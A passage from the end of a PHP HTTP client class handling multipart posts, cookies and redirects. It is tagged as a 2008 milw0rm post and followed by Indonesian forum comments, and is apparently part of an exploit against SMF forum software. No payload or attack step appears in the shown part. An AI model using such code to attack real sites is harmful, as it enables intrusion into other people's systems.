$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

if(isset($array[$key][frmdt_transfert]))
$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}

$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
return $this->sock();
}


/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->url('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
$code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_content = '';

for($i=1;$i<count($code);$i++)
$this->server_content .= $code[$i];

return $this->server_content;
}


/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_header
* @example $this->getcontent()
* @example $this->getcontent($this->post('http://localhost/','1=2'))
*
*/
function getheader($code='')
{
if(empty($code))
$code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_header = $code[0];

return $this->server_header;
}


/**
* This function is called by the
* cookiejar() function. It adds the
* value of the "Set-Cookie" header
* in the "Cookie" header for the
* next request. You don't have to
* call it.
*
* @access private
* @param string code ServerResponse
*
*/
function getcookie()
{
foreach(explode("\r\n",$this->getheader()) as $header)
{
if(preg_match('/set-cookie/i',$header))
{
$fequal = strpos($header,'=');
$fvirgu = strpos($header,';');

// 12=strlen('set-cookie: ')
$cname = substr($header,12,$fequal-12);
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));

$this->cookie[trim($cname)] = trim($cvalu);
}
}
}


/**
* This function is called by the
* get()/post() functions. You
* don't have to call it.
*
* @access private
* @param string urltarg Url
* @example $this->target('http://localhost/')
*
*/
function target($urltarg)
{
if(!ereg('^http://',$urltarg))
$urltarg = 'http://'.$urltarg;

$urlarr = parse_url($urltarg);
$this->url = 'http://'.$urlarr['host'].$urlarr['path'];

if(isset($urlarr['query']))
$this->url .= '?'.$urlarr['query'];

$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
$this->host = $urlarr['host'];

if($this->port != '80')
$this->host .= ':'.$this->port;

if(!isset($urlarr['path']) or empty($urlarr['path']))
die("Error: No path precised");

$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

if($this->port > 65535)
die("Error: Invalid port number");
}


/**
* If you call this function,
* the script will extract all
* 'Set-Cookie' headers values
* and it will automatically add
* them into the 'Cookie' header
* for all next requests.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->cookiejar(0)
* @example $this->cookiejar(1)
*
*/
function cookiejar($code)
{
if($code=='0')
$this->cookiejar=FALSE;

elseif($code=='1')
$this->cookiejar=TRUE;
}


/**
* If you call this function,
* the script will follow all
* redirections sent by the server.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->allowredirection(0)
* @example $this->allowredirection(1)
*
*/
function allowredirection($code)
{
if($code=='0')
$this->allowredirection=FALSE;

elseif($code=='1')
$this->allowredirection=TRUE;
}


/**
* This function is called if
* allowredirection() is enabled.
* You don't have to call it.
*
* @access private
* @return string $this->url('http://'.$this->host.$this->path.$this->last_redirection)
* @return string $this->url($this->last_redirection)
* @return string $this->recv;
*
*/
function getredirection()
{
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
{
$this->last_redirection = trim($codearr[2]);

if(!ereg('://',$this->last_redirection))
return $this->url('http://'.$this->host.$this->path.$this->last_redirection);

else
return $this->url($this->last_redirection);
}
else
return $this->recv;
}


/**
* This function allows you
* to reset some parameters.
*
* @access public
* @param string func Param
* @example $this->reset('header')
* @example $this->reset('cookie')
* @example $this->reset()
*
*/
function reset($func='')
{
switch($func)
{
case 'header':
$this->header = array();
break;

case 'cookie':
$this->cookie = array();
break;

default:
$this->cookiejar = '';
$this->header = array();
$this->cookie = array();
$this->allowredirection = '';
break;
}
}
}

?>

# milw0rm.com [2008-11-04]

ane juga cuma nemu jadi jgn di tanya cara menggunakannya ya ane juga super newbieeeee bgt :-/

[adi0ranye]

Sayangnya SMF jarang yang pake bro... Tapi nice article deh...